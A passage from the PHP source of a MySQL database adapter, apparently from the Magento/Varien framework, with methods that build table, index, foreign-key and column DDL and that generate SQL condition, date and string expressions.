foreach ($indexData['COLUMNS'] as $columnData) {
$column = $this->quoteIdentifier($columnData['NAME']);
if (!empty($columnData['SIZE'])) {
$column .= sprintf('(%d)', $columnData['SIZE']);
}
$columns[] = $column;
}
$indexName = isset($indexData['INDEX_NAME']) ? $this->quoteIdentifier($indexData['INDEX_NAME']) : '';
$definition[] = sprintf(' %s %s (%s)',
$indexType,
$indexName,
implode(', ', $columns)
);
}
}
return $definition;
}
/**
* Retrieve table foreign keys definition array for create table
*
* @param Varien_Db_Ddl_Table $table
* @return array
*/
protected function _getForeignKeysDefinition(Varien_Db_Ddl_Table $table)
{
$definition = array();
$relations = $table->getForeignKeys();
if (!empty($relations)) {
foreach ($relations as $fkData) {
$onDelete = $this->_getDdlAction($fkData['ON_DELETE']);
$onUpdate = $this->_getDdlAction($fkData['ON_UPDATE']);
$definition[] = sprintf(' CONSTRAINT %s FOREIGN KEY (%s) REFERENCES %s (%s) ON DELETE %s ON UPDATE %s',
$this->quoteIdentifier($fkData['FK_NAME']),
$this->quoteIdentifier($fkData['COLUMN_NAME']),
$this->quoteIdentifier($fkData['REF_TABLE_NAME']),
$this->quoteIdentifier($fkData['REF_COLUMN_NAME']),
$onDelete,
$onUpdate
);
}
}
return $definition;
}
/**
* Retrieve table options definition array for create table
*
* @param Varien_Db_Ddl_Table $table
* @return array
* @throws Zend_Db_Exception
*/
protected function _getOptionsDefinition(Varien_Db_Ddl_Table $table)
{
$definition = array();
$comment = $table->getComment();
if (empty($comment)) {
throw new Zend_Db_Exception('Comment for table is required and must be defined');
}
$definition[] = $this->quoteInto('COMMENT=?', $comment);
$tableProps = array(
'type' => 'ENGINE=%s',
'checksum' => 'CHECKSUM=%d',
'auto_increment' => 'AUTO_INCREMENT=%d',
'avg_row_length' => 'AVG_ROW_LENGTH=%d',
'max_rows' => 'MAX_ROWS=%d',
'min_rows' => 'MIN_ROWS=%d',
'delay_key_write' => 'DELAY_KEY_WRITE=%d',
'row_format' => 'row_format=%s',
'charset' => 'charset=%s',
'collate' => 'COLLATE=%s'
);
foreach ($tableProps as $key => $mask) {
$v = $table->getOption($key);
if ($v !== null) {
$definition[] = sprintf($mask, $v);
}
}
return $definition;
}
/**
* Get column definition from description
*
* @param array $options
* @param null|string $ddlType
* @return string
*/
public function getColumnDefinitionFromDescribe($options, $ddlType = null)
{
$columnInfo = $this->getColumnCreateByDescribe($options);
foreach ($columnInfo['options'] as $key => $value) {
$columnInfo[$key] = $value;
}
return $this->_getColumnDefinition($columnInfo, $ddlType);
}
/**
* Retrieve column definition fragment
*
* @param array $options
* @param string $ddlType Table DDL Column type constant
* @throws Varien_Exception
* @return string
* @throws Zend_Db_Exception
*/
protected function _getColumnDefinition($options, $ddlType = null)
{
// convert keys to uppercase
$options = array_change_key_case($options, CASE_UPPER);
$cType = null;
$cUnsigned = false;
$cNullable = true;
$cDefault = false;
$cIdentity = false;
// detect and validate column type
if ($ddlType === null) {
$ddlType = $this->_getDdlType($options);
}
if (empty($ddlType) || !isset($this->_ddlColumnTypes[$ddlType])) {
throw new Zend_Db_Exception('Invalid column definition data');
}
// column size
$cType = $this->_ddlColumnTypes[$ddlType];
switch ($ddlType) {
case Varien_Db_Ddl_Table::TYPE_SMALLINT:
case Varien_Db_Ddl_Table::TYPE_INTEGER:
case Varien_Db_Ddl_Table::TYPE_BIGINT:
if (!empty($options['UNSIGNED'])) {
$cUnsigned = true;
}
break;
case Varien_Db_Ddl_Table::TYPE_DECIMAL:
case Varien_Db_Ddl_Table::TYPE_NUMERIC:
$precision = 10;
$scale = 0;
$match = array();
if (!empty($options['LENGTH']) && preg_match('#^\(?(\d+),(\d+)\)?$#', $options['LENGTH'], $match)) {
$precision = $match[1];
$scale = $match[2];
} else {
if (isset($options['SCALE']) && is_numeric($options['SCALE'])) {
$scale = $options['SCALE'];
}
if (isset($options['PRECISION']) && is_numeric($options['PRECISION'])) {
$precision = $options['PRECISION'];
}
}
$cType .= sprintf('(%d,%d)', $precision, $scale);
break;
case Varien_Db_Ddl_Table::TYPE_TEXT:
case Varien_Db_Ddl_Table::TYPE_BLOB:
case Varien_Db_Ddl_Table::TYPE_VARBINARY:
if (empty($options['LENGTH'])) {
$length = Varien_Db_Ddl_Table::DEFAULT_TEXT_SIZE;
} else {
$length = $this->_parseTextSize($options['LENGTH']);
}
if ($length <= 255) {
$cType = $ddlType == Varien_Db_Ddl_Table::TYPE_TEXT ? 'varchar' : 'varbinary';
$cType = sprintf('%s(%d)', $cType, $length);
} else if ($length > 255 && $length <= 65536) {
$cType = $ddlType == Varien_Db_Ddl_Table::TYPE_TEXT ? 'text' : 'blob';
} else if ($length > 65536 && $length <= 16777216) {
$cType = $ddlType == Varien_Db_Ddl_Table::TYPE_TEXT ? 'mediumtext' : 'mediumblob';
} else {
$cType = $ddlType == Varien_Db_Ddl_Table::TYPE_TEXT ? 'longtext' : 'longblob';
}
break;
}
if (array_key_exists('DEFAULT', $options)) {
$cDefault = $options['DEFAULT'];
}
if (array_key_exists('NULLABLE', $options)) {
$cNullable = (bool)$options['NULLABLE'];
}
if (!empty($options['IDENTITY']) || !empty($options['AUTO_INCREMENT'])) {
$cIdentity = true;
}
/* For cases when tables created from createTableByDdl()
* where default value can be quoted already.
* We need to avoid "double-quoting" here
*/
if ( $cDefault !== null && strlen($cDefault)) {
$cDefault = str_replace("'", '', $cDefault);
}
// prepare default value string
if ($ddlType == Varien_Db_Ddl_Table::TYPE_TIMESTAMP) {
if ($cDefault === null) {
$cDefault = new Zend_Db_Expr('NULL');
} elseif ($cDefault == Varien_Db_Ddl_Table::TIMESTAMP_INIT) {
$cDefault = new Zend_Db_Expr('CURRENT_TIMESTAMP');
} else if ($cDefault == Varien_Db_Ddl_Table::TIMESTAMP_UPDATE) {
$cDefault = new Zend_Db_Expr('0 ON UPDATE CURRENT_TIMESTAMP');
} else if ($cDefault == Varien_Db_Ddl_Table::TIMESTAMP_INIT_UPDATE) {
$cDefault = new Zend_Db_Expr('CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP');
} else if ($cNullable && !$cDefault) {
$cDefault = new Zend_Db_Expr('NULL');
} else {
$cDefault = new Zend_Db_Expr('0');
}
} else if (is_null($cDefault) && $cNullable) {
$cDefault = new Zend_Db_Expr('NULL');
}
if (empty($options['COMMENT'])) {
$comment = '';
} else {
$comment = $options['COMMENT'];
}
//set column position
$after = null;
if (!empty($options['AFTER'])) {
$after = $options['AFTER'];
}
return sprintf('%s%s%s%s%s COMMENT %s %s',
$cType,
$cUnsigned ? ' UNSIGNED' : '',
$cNullable ? ' NULL' : ' NOT NULL',
$cDefault !== false ? $this->quoteInto(' default ?', $cDefault) : '',
$cIdentity ? ' auto_increment' : '',
$this->quote($comment),
$after ? 'AFTER ' . $this->quoteIdentifier($after) : ''
);
}
/**
* Drop table from database
*
* @param string $tableName
* @param string $schemaName
* @return boolean
*/
public function dropTable($tableName, $schemaName = null)
{
$table = $this->quoteIdentifier($this->_getTableName($tableName, $schemaName));
$query = 'DROP TABLE IF EXISTS ' . $table;
$this->query($query);
return true;
}
/**
* Drop temporary table from database
*
* @param string $tableName
* @param string $schemaName
* @return boolean
*/
public function dropTemporaryTable($tableName, $schemaName = null)
{
$table = $this->quoteIdentifier($this->_getTableName($tableName, $schemaName));
$query = 'DROP TEMPORARY TABLE IF EXISTS ' . $table;
$this->query($query);
return $this;
}
/**
* Truncate a table
*
* @param string $tableName
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
* @throws Zend_Db_Exception
*/
public function truncateTable($tableName, $schemaName = null)
{
if (!$this->isTableExists($tableName, $schemaName)) {
throw new Zend_Db_Exception(sprintf('Table "%s" is not exists', $tableName));
}
$table = $this->quoteIdentifier($this->_getTableName($tableName, $schemaName));
$query = 'TRUNCATE TABLE ' . $table;
$this->query($query);
return $this;
}
/**
* Check is a table exists
*
* @param string $tableName
* @param string $schemaName
* @return boolean
*/
public function isTableExists($tableName, $schemaName = null)
{
return $this->showTableStatus($tableName, $schemaName) !== false;
}
/**
* Rename table
*
* @param string $oldTableName
* @param string $newTableName
* @param string $schemaName
* @return boolean
* @throws Zend_Db_Exception
*/
public function renameTable($oldTableName, $newTableName, $schemaName = null)
{
if (!$this->isTableExists($oldTableName, $schemaName)) {
throw new Zend_Db_Exception(sprintf('Table "%s" is not exists', $oldTableName));
}
if ($this->isTableExists($newTableName, $schemaName)) {
throw new Zend_Db_Exception(sprintf('Table "%s" already exists', $newTableName));
}
$oldTable = $this->_getTableName($oldTableName, $schemaName);
$newTable = $this->_getTableName($newTableName, $schemaName);
$query = sprintf('ALTER TABLE %s RENAME TO %s', $oldTable, $newTable);
$this->query($query);
$this->resetDdlCache($oldTableName, $schemaName);
return true;
}
/**
* Rename several tables
*
* @param array $tablePairs array('oldName' => 'Name1', 'newName' => 'Name2')
*
* @return boolean
* @throws Zend_Db_Exception
*/
public function renameTablesBatch(array $tablePairs)
{
if (count($tablePairs) == 0) {
throw new Zend_Db_Exception('Please provide tables for rename');
}
$renamesList = array();
$tablesList = array();
foreach ($tablePairs as $pair) {
$oldTableName = $pair['oldName'];
$newTableName = $pair['newName'];
$renamesList[] = sprintf('%s TO %s', $oldTableName, $newTableName);
$tablesList[$oldTableName] = $oldTableName;
$tablesList[$newTableName] = $newTableName;
}
$query = sprintf('RENAME TABLE %s', implode(',', $renamesList));
$this->query($query);
foreach ($tablesList as $table) {
$this->resetDdlCache($table);
}
return true;
}
/**
* Add new index to table name
*
* @param string $tableName
* @param string $indexName
* @param string|array $fields the table column name or array of ones
* @param string $indexType the index type
* @param string $schemaName
* @return Zend_Db_Statement_Interface
* @throws Zend_Db_Exception|Exception
*/
public function addIndex($tableName, $indexName, $fields,
$indexType = Varien_Db_Adapter_Interface::INDEX_TYPE_INDEX, $schemaName = null)
{
$columns = $this->describeTable($tableName, $schemaName);
$keyList = $this->getIndexList($tableName, $schemaName);
$query = sprintf('ALTER TABLE %s', $this->quoteIdentifier($this->_getTableName($tableName, $schemaName)));
if (isset($keyList[strtoupper($indexName)])) {
if ($keyList[strtoupper($indexName)]['INDEX_TYPE'] == Varien_Db_Adapter_Interface::INDEX_TYPE_PRIMARY) {
$query .= ' DROP PRIMARY KEY,';
} else {
$query .= sprintf(' DROP INDEX %s,', $this->quoteIdentifier($indexName));
}
}
if (!is_array($fields)) {
$fields = array($fields);
}
$fieldSql = array();
foreach ($fields as $field) {
if (!isset($columns[$field])) {
$msg = sprintf('There is no field "%s" that you are trying to create an index on "%s"',
$field, $tableName);
throw new Zend_Db_Exception($msg);
}
$fieldSql[] = $this->quoteIdentifier($field);
}
$fieldSql = implode(',', $fieldSql);
switch (strtolower($indexType)) {
case Varien_Db_Adapter_Interface::INDEX_TYPE_PRIMARY:
$condition = 'PRIMARY KEY';
break;
case Varien_Db_Adapter_Interface::INDEX_TYPE_UNIQUE:
$condition = 'UNIQUE ' . $this->quoteIdentifier($indexName);
break;
case Varien_Db_Adapter_Interface::INDEX_TYPE_FULLTEXT:
$condition = 'FULLTEXT ' . $this->quoteIdentifier($indexName);
break;
default:
$condition = 'INDEX ' . $this->quoteIdentifier($indexName);
break;
}
$query .= sprintf(' ADD %s (%s)', $condition, $fieldSql);
$cycle = true;
while ($cycle === true) {
try {
$result = $this->raw_query($query);
$cycle = false;
} catch (Exception $e) {
if (in_array(strtolower($indexType), array('primary', 'unique'))) {
$match = array();
if (preg_match('#SQLSTATE\[23000\]: [^:]+: 1062[^\']+\'([\d-\.]+)\'#', $e->getMessage(), $match)) {
$ids = explode('-', $match[1]);
$this->_removeDuplicateEntry($tableName, $fields, $ids);
continue;
}
}
throw $e;
}
}
$this->resetDdlCache($tableName, $schemaName);
return $result;
}
/**
* Drop the index from table
*
* @param string $tableName
* @param string $keyName
* @param string $schemaName
* @return bool|Zend_Db_Statement_Interface
*/
public function dropIndex($tableName, $keyName, $schemaName = null)
{
$indexList = $this->getIndexList($tableName, $schemaName);
$keyName = strtoupper($keyName);
if (!isset($indexList[$keyName])) {
return true;
}
if ($keyName == 'PRIMARY') {
$cond = 'DROP PRIMARY KEY';
} else {
$cond = 'DROP KEY ' . $this->quoteIdentifier($indexList[$keyName]['KEY_NAME']);
}
$sql = sprintf('ALTER TABLE %s %s',
$this->quoteIdentifier($this->_getTableName($tableName, $schemaName)),
$cond);
$this->resetDdlCache($tableName, $schemaName);
return $this->raw_query($sql);
}
/**
* Add new Foreign Key to table
* If Foreign Key with same name is exist - it will be deleted
*
* @param string $fkName
* @param string $tableName
* @param string $columnName
* @param string $refTableName
* @param string $refColumnName
* @param string $onDelete
* @param string $onUpdate
* @param boolean $purge trying remove invalid data
* @param string $schemaName
* @param string $refSchemaName
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function addForeignKey($fkName, $tableName, $columnName, $refTableName, $refColumnName,
$onDelete = Varien_Db_Adapter_Interface::FK_ACTION_CASCADE,
$onUpdate = Varien_Db_Adapter_Interface::FK_ACTION_CASCADE,
$purge = false, $schemaName = null, $refSchemaName = null)
{
$this->dropForeignKey($tableName, $fkName, $schemaName);
if ($purge) {
$this->purgeOrphanRecords($tableName, $columnName, $refTableName, $refColumnName, $onDelete);
}
$query = sprintf('ALTER TABLE %s ADD CONSTRAINT %s FOREIGN KEY (%s) REFERENCES %s (%s)',
$this->quoteIdentifier($this->_getTableName($tableName, $schemaName)),
$this->quoteIdentifier($fkName),
$this->quoteIdentifier($columnName),
$this->quoteIdentifier($this->_getTableName($refTableName, $refSchemaName)),
$this->quoteIdentifier($refColumnName)
);
if ($onDelete !== null) {
$query .= ' ON DELETE ' . strtoupper($onDelete);
}
if ($onUpdate !== null) {
$query .= ' ON UPDATE ' . strtoupper($onUpdate);
}
$result = $this->raw_query($query);
$this->resetDdlCache($tableName);
return $result;
}
/**
* Format Date to internal database date format
*
* @param int|string|Zend_Date $date
* @param boolean $includeTime
* @return Zend_Db_Expr
*/
public function formatDate($date, $includeTime = true)
{
$date = Varien_Date::formatDate($date, $includeTime);
if ($date === null) {
return new Zend_Db_Expr('NULL');
}
return new Zend_Db_Expr($this->quote($date));
}
/**
* Run additional environment before setup
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function startSetup()
{
$this->raw_query("SET SQL_MODE=''");
$this->raw_query("SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0");
$this->raw_query("SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO'");
return $this;
}
/**
* Run additional environment after setup
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function endSetup()
{
$this->raw_query("SET SQL_MODE=IFNULL(@OLD_SQL_MODE,'')");
$this->raw_query("SET FOREIGN_KEY_CHECKS=IF(@OLD_FOREIGN_KEY_CHECKS=0, 0, 1)");
return $this;
}
/**
* Build SQL statement for condition
*
* If $condition integer or string - exact value will be filtered ('eq' condition)
*
* If $condition is array is - one of the following structures is expected:
* - array("from" => $fromValue, "to" => $toValue)
* - array("eq" => $equalValue)
* - array("neq" => $notEqualValue)
* - array("like" => $likeValue)
* - array("in" => array($inValues))
* - array("nin" => array($notInValues))
* - array("notnull" => $valueIsNotNull)
* - array("null" => $valueIsNull)
* - array("gt" => $greaterValue)
* - array("lt" => $lessValue)
* - array("gteq" => $greaterOrEqualValue)
* - array("lteq" => $lessOrEqualValue)
* - array("finset" => $valueInSet)
* - array("regexp" => $regularExpression)
* - array("seq" => $stringValue)
* - array("sneq" => $stringValue)
*
* If non matched - sequential array is expected and OR conditions
* will be built using above mentioned structure
*
* @param string|array $fieldName
* @param integer|string|array $condition
* @return string
*/
public function prepareSqlCondition($fieldName, $condition)
{
$conditionKeyMap = array(
'eq' => "{{fieldName}} = ?",
'neq' => "{{fieldName}} != ?",
'like' => "{{fieldName}} LIKE ?",
'nlike' => "{{fieldName}} NOT LIKE ?",
'in' => "{{fieldName}} IN(?)",
'nin' => "{{fieldName}} NOT IN(?)",
'is' => "{{fieldName}} IS ?",
'notnull' => "{{fieldName}} IS NOT NULL",
'null' => "{{fieldName}} IS NULL",
'gt' => "{{fieldName}} > ?",
'lt' => "{{fieldName}} < ?",
'gteq' => "{{fieldName}} >= ?",
'lteq' => "{{fieldName}} <= ?",
'finset' => "FIND_IN_SET(?, {{fieldName}})",
'regexp' => "{{fieldName}} REGEXP ?",
'from' => "{{fieldName}} >= ?",
'to' => "{{fieldName}} <= ?",
'seq' => null,
'sneq' => null
);
$query = '';
if (is_array($condition)) {
$key = key(array_intersect_key($condition, $conditionKeyMap));
if (isset($condition['from']) || isset($condition['to'])) {
if (isset($condition['from'])) {
$from = $this->_prepareSqlDateCondition($condition, 'from');
$query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName);
}
if (isset($condition['to'])) {
$query .= empty($query) ? '' : ' AND ';
$to = $this->_prepareSqlDateCondition($condition, 'to');
$query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
}
} elseif (array_key_exists($key, $conditionKeyMap)) {
$value = $condition[$key];
if (($key == 'seq') || ($key == 'sneq')) {
$key = $this->_transformStringSqlCondition($key, $value);
}
$query = $this->_prepareQuotedSqlCondition($conditionKeyMap[$key], $value, $fieldName);
} else {
$queries = array();
foreach ($condition as $orCondition) {
$queries[] = sprintf('(%s)', $this->prepareSqlCondition($fieldName, $orCondition));
}
$query = sprintf('(%s)', implode(' OR ', $queries));
}
} else {
$query = $this->_prepareQuotedSqlCondition($conditionKeyMap['eq'], (string)$condition, $fieldName);
}
return $query;
}
/**
* Prepare Sql condition
*
* @param $text Condition value
* @param mixed $value
* @param string $fieldName
* @return string
*/
protected function _prepareQuotedSqlCondition($text, $value, $fieldName)
{
$sql = $this->quoteInto($text, $value);
$sql = str_replace('{{fieldName}}', $fieldName, $sql);
return $sql;
}
/**
* Transforms sql condition key 'seq' / 'sneq' that is used for comparing string values to its analog:
* - 'null' / 'notnull' for empty strings
* - 'eq' / 'neq' for non-empty strings
*
* @param string $conditionKey
* @param mixed $value
* @return string
*/
protected function _transformStringSqlCondition($conditionKey, $value)
{
$value = (string) $value;
if ($value == '') {
return ($conditionKey == 'seq') ? 'null' : 'notnull';
} else {
return ($conditionKey == 'seq') ? 'eq' : 'neq';
}
}
/**
* Prepare value for save in column
* Return converted to column data type value
*
* @param array $column the column describe array
* @param mixed $value
* @return mixed
*/
public function prepareColumnValue(array $column, $value)
{
if ($value instanceof Zend_Db_Expr) {
return $value;
}
if ($value instanceof Varien_Db_Statement_Parameter) {
return $value;
}
// return original value if invalid column describe data
if (!isset($column['DATA_TYPE'])) {
return $value;
}
// return null
if (is_null($value) && $column['NULLABLE']) {
return null;
}
switch ($column['DATA_TYPE']) {
case 'smallint':
case 'int':
$value = (int)$value;
break;
case 'bigint':
if (!is_integer($value)) {
$value = sprintf('%.0f', (float)$value);
}
break;
case 'decimal':
$precision = 10;
$scale = 0;
if (isset($column['SCALE'])) {
$scale = $column['SCALE'];
}
if (isset($column['PRECISION'])) {
$precision = $column['PRECISION'];
}
$format = sprintf('%%%d.%dF', $precision - $scale, $scale);
$value = (float)sprintf($format, $value);
break;
case 'float':
$value = (float)sprintf('%F', $value);
break;
case 'date':
$value = $this->formatDate($value, false);
break;
case 'datetime':
case 'timestamp':
$value = $this->formatDate($value);
break;
case 'varchar':
case 'mediumtext':
case 'text':
case 'longtext':
$value = (string)$value;
if ($column['NULLABLE'] && $value == '') {
$value = null;
}
break;
case 'varbinary':
case 'mediumblob':
case 'blob':
case 'longblob':
// No special processing for MySQL is needed
break;
}
return $value;
}
/**
* Generate fragment of SQL, that check condition and return true or false value
*
* @param Zend_Db_Expr|Zend_Db_Select|string $expression
* @param string $true true value
* @param string $false false value
*/
public function getCheckSql($expression, $true, $false)
{
if ($expression instanceof Zend_Db_Expr || $expression instanceof Zend_Db_Select) {
$expression = sprintf("IF((%s), %s, %s)", $expression, $true, $false);
} else {
$expression = sprintf("IF(%s, %s, %s)", $expression, $true, $false);
}
return new Zend_Db_Expr($expression);
}
/**
* Returns valid IFNULL expression
*
* @param Zend_Db_Expr|Zend_Db_Select|string $expression
* @param string $value OPTIONAL. Applies when $expression is NULL
* @return Zend_Db_Expr
*/
public function getIfNullSql($expression, $value = 0)
{
if ($expression instanceof Zend_Db_Expr || $expression instanceof Zend_Db_Select) {
$expression = sprintf("IFNULL((%s), %s)", $expression, $value);
} else {
$expression = sprintf("IFNULL(%s, %s)", $expression, $value);
}
return new Zend_Db_Expr($expression);
}
/**
* Generate fragment of SQL, that check value against multiple condition cases
* and return different result depends on them
*
* @param string $valueName Name of value to check
* @param array $casesResults Cases and results
* @param string $defaultValue value to use if value doesn't conform to any cases
*
* @return Zend_Db_Expr
*/
public function getCaseSql($valueName, $casesResults, $defaultValue = null)
{
$expression = 'CASE ' . $valueName;
foreach ($casesResults as $case => $result) {
$expression .= ' WHEN ' . $case . ' THEN ' . $result;
}
if ($defaultValue !== null) {
$expression .= ' ELSE ' . $defaultValue;
}
$expression .= ' END';
return new Zend_Db_Expr($expression);
}
/**
* Generate fragment of SQL, that combine together (concatenate) the results from data array
* All arguments in data must be quoted
*
* @param array $data
* @param string $separator concatenate with separator
* @return Zend_Db_Expr
*/
public function getConcatSql(array $data, $separator = null)
{
$format = empty($separator) ? 'CONCAT(%s)' : "CONCAT_WS('{$separator}', %s)";
return new Zend_Db_Expr(sprintf($format, implode(', ', $data)));
}
/**
* Generate fragment of SQL that returns length of character string
* The string argument must be quoted
*
* @param string $string
* @return Zend_Db_Expr
*/
public function getLengthSql($string)
{
return new Zend_Db_Expr(sprintf('LENGTH(%s)', $string));
}
/**
* Generate fragment of SQL, that compare with two or more arguments, and returns the smallest
* (minimum-valued) argument
* All arguments in data must be quoted
*
* @param array $data
* @return Zend_Db_Expr
*/
public function getLeastSql(array $data)
{
return new Zend_Db_Expr(sprintf('LEAST(%s)', implode(', ', $data)));
}
/**
* Generate fragment of SQL, that compare with two or more arguments, and returns the largest
* (maximum-valued) argument
* All arguments in data must be quoted
*
* @param array $data
* @return Zend_Db_Expr
*/
public function getGreatestSql(array $data)
{
return new Zend_Db_Expr(sprintf('GREATEST(%s)', implode(', ', $data)));
}
/**
* Get Interval Unit SQL fragment
*
* @param int $interval
* @param string $unit
* @return string
* @throws Zend_Db_Exception
*/
protected function _getIntervalUnitSql($interval, $unit)
{
if (!isset($this->_intervalUnits[$unit])) {
throw new Zend_Db_Exception(sprintf('Undefined interval unit "%s" specified', $unit));
}
return sprintf('INTERVAL %d %s', $interval, $this->_intervalUnits[$unit]);
}
/**
* Add time values (intervals) to a date value
*
* @see INTERVAL_* constants for $unit
*
* @param Zend_Db_Expr|string $date quoted field name or SQL statement
* @param int $interval
* @param string $unit
* @return Zend_Db_Expr
*/
public function getDateAddSql($date, $interval, $unit)
{
$expr = sprintf('DATE_ADD(%s, %s)', $date, $this->_getIntervalUnitSql($interval, $unit));
return new Zend_Db_Expr($expr);
}
/**
* Subtract time values (intervals) to a date value
*
* @see INTERVAL_* constants for $expr
*
* @param Zend_Db_Expr|string $date quoted field name or SQL statement
* @param int|string $interval
* @param string $unit
* @return Zend_Db_Expr
*/
public function getDateSubSql($date, $interval, $unit)
{
$expr = sprintf('DATE_SUB(%s, %s)', $date, $this->_getIntervalUnitSql($interval, $unit));
return new Zend_Db_Expr($expr);
}
/**
* Format date as specified
*
* Supported format Specifier
*
* %H Hour (00..23)
* %i Minutes, numeric (00..59)
* %s Seconds (00..59)
* %d Day of the month, numeric (00..31)
* %m Month, numeric (00..12)
* %Y Year, numeric, four digits
*
* @param string $date quoted date value or non quoted SQL statement(field)
* @param string $format
* @return Zend_Db_Expr
*/
public function getDateFormatSql($date, $format)
{
$expr = sprintf("DATE_FORMAT(%s, '%s')", $date, $format);
return new Zend_Db_Expr($expr);
}
/**
* Extract the date part of a date or datetime expression
*
* @param Zend_Db_Expr|string $date quoted field name or SQL statement
* @return Zend_Db_Expr
*/
public function getDatePartSql($date)
{
return new Zend_Db_Expr(sprintf('DATE(%s)', $date));
}
/**
* Prepare substring sql function
*
* @param Zend_Db_Expr|string $stringExpression quoted field name or SQL statement
* @param int|string|Zend_Db_Expr $pos
* @param int|string|Zend_Db_Expr|null $len
* @return Zend_Db_Expr
*/
public function getSubstringSql($stringExpression, $pos, $len = null)
{
if (is_null($len)) {
return new Zend_Db_Expr(sprintf('SUBSTRING(%s, %s)', $stringExpression, $pos));
}
return new Zend_Db_Expr(sprintf('SUBSTRING(%s, %s, %s)', $stringExpression, $pos, $len));
}
/**
* Prepare standard deviation sql function
*
* @param Zend_Db_Expr|string $expressionField quoted field name or SQL statement
* @return Zend_Db_Expr
*/
public function getStandardDeviationSql($expressionField)
{
return new Zend_Db_Expr(sprintf('STDDEV_SAMP(%s)', $expressionField));
}
/**
* Extract part of a date
*
* @see INTERVAL_* constants for $unit
*
* @param Zend_Db_Expr|string $date quoted field name or SQL statement
* @param string $unit
* @return Zend_Db_Expr
* @throws Zend_Db_Exception
*/
public function getDateExtractSql($date, $unit)
{
if (!isset($this->_intervalUnits[$unit])) {
throw new Zend_Db_Exception(sprintf('Undefined interval unit "%s" specified', $unit));
}
$expr = sprintf('EXTRACT(%s FROM %s)', $this->_intervalUnits[$unit], $date);
return new Zend_Db_Expr($expr);
}
/**
* Minus superfluous characters from hash.
*
* @param $hash
* @param $prefix
* @param $maxCharacters
* @return string
*/
protected function _minusSuperfluous($hash, $prefix, $maxCharacters)
{
$diff = strlen($hash) + strlen($prefix) - $maxCharacters;
$superfluous = $diff / 2;
$odd = $diff % 2;
$hash = substr($hash, $superfluous, - ($superfluous + $odd));
return $hash;
}
/**
* Retrieve valid table name
* Check table name length and allowed symbols
*
* @param string $tableName
* @return string
*/
public function getTableName($tableName)
{
$prefix = 't_';
if (strlen($tableName) > self::LENGTH_TABLE_NAME) {
$shortName = Varien_Db_Helper::shortName($tableName);
if (strlen($shortName) > self::LENGTH_TABLE_NAME) {
$hash = md5($tableName);
if (strlen($prefix.$hash) > self::LENGTH_TABLE_NAME) {
$tableName = $this->_minusSuperfluous($hash, $prefix, self::LENGTH_TABLE_NAME);
} else {
$tableName = $prefix . $hash;
}
} else {
$tableName = $shortName;
}
}
return $tableName;
}
/**
* Retrieve valid index name
* Check index name length and allowed symbols
*
* @param string $tableName
* @param string|array $fields the columns list
* @param string $indexType
* @return string
*/
public function getIndexName($tableName, $fields, $indexType = '')
{
if (is_array($fields)) {
$fields = implode('_', $fields);
}
switch (strtolower($indexType)) {
case Varien_Db_Adapter_Interface::INDEX_TYPE_UNIQUE:
$prefix = 'unq_';
$shortPrefix = 'u_';
break;
case Varien_Db_Adapter_Interface::INDEX_TYPE_FULLTEXT:
$prefix = 'fti_';
$shortPrefix = 'f_';
break;
case Varien_Db_Adapter_Interface::INDEX_TYPE_INDEX:
default:
$prefix = 'idx_';
$shortPrefix = 'i_';
}
$hash = $tableName . '_' . $fields;
if (strlen($hash) + strlen($prefix) > self::LENGTH_INDEX_NAME) {
$short = Varien_Db_Helper::shortName($prefix . $hash);
if (strlen($short) > self::LENGTH_INDEX_NAME) {
$hash = md5($hash);
if (strlen($hash) + strlen($shortPrefix) > self::LENGTH_INDEX_NAME) {
$hash = $this->_minusSuperfluous($hash, $shortPrefix, self::LENGTH_INDEX_NAME);
}
} else {
$hash = $short;
}
} else {
$hash = $prefix . $hash;
}
return strtoupper($hash);
}
/**
* Retrieve valid foreign key name
* Check foreign key name length and allowed symbols
*
* @param string $priTableName
* @param string $priColumnName
* @param string $refTableName
* @param string $refColumnName
* @return string
*/
public function getForeignKeyName($priTableName, $priColumnName, $refTableName, $refColumnName)
{
$prefix = 'fk_';
$hash = sprintf('%s_%s_%s_%s', $priTableName, $priColumnName, $refTableName, $refColumnName);
if (strlen($prefix.$hash) > self::LENGTH_FOREIGN_NAME) {
$short = Varien_Db_Helper::shortName($prefix.$hash);
if (strlen($short) > self::LENGTH_FOREIGN_NAME) {
$hash = md5($hash);
if (strlen($prefix.$hash) > self::LENGTH_FOREIGN_NAME) {
$hash = $this->_minusSuperfluous($hash, $prefix, self::LENGTH_FOREIGN_NAME);
} else {
$hash = $prefix . $hash;
}
} else {
$hash = $short;
}
} else {
$hash = $prefix . $hash;
}
return strtoupper($hash);
}
/**
* Stop updating indexes
*
* @param string $tableName
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function disableTableKeys($tableName, $schemaName = null)
{
$tableName = $this->_getTableName($tableName, $schemaName);
$query = sprintf('ALTER TABLE %s DISABLE KEYS', $this->quoteIdentifier($tableName));
$this->query($query);
return $this;
}
/**
* Re-create missing indexes
*
* @param string $tableName
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function enableTableKeys($tableName, $schemaName = null)
{
$tableName = $this->_getTableName($tableName, $schemaName);
$query = sprintf('ALTER TABLE %s ENABLE KEYS', $this->quoteIdentifier($tableName));
$this->query($query);
return $this;
}
/**
* Get insert from Select object query
*
* @param Varien_Db_Select $select
* @param string $table insert into table
* @param array $fields
* @param bool|int $mode
* @return string
*/
public function insertFromSelect(Varien_Db_Select $select, $table, array $fields = array(), $mode = false)
{
$query = 'INSERT';
if ($mode == self::INSERT_IGNORE) {
$query .= ' IGNORE';
}
$query = sprintf('%s INTO %s', $query, $this->quoteIdentifier($table));
if ($fields) {
$columns = array_map(array($this, 'quoteIdentifier'), $fields);
$query = sprintf('%s (%s)', $query, join(', ', $columns));
}
$query = sprintf('%s %s', $query, $select->assemble());
if ($mode == self::INSERT_ON_DUPLICATE) {
if (!$fields) {
$describe = $this->describeTable($table);
foreach ($describe as $column) {
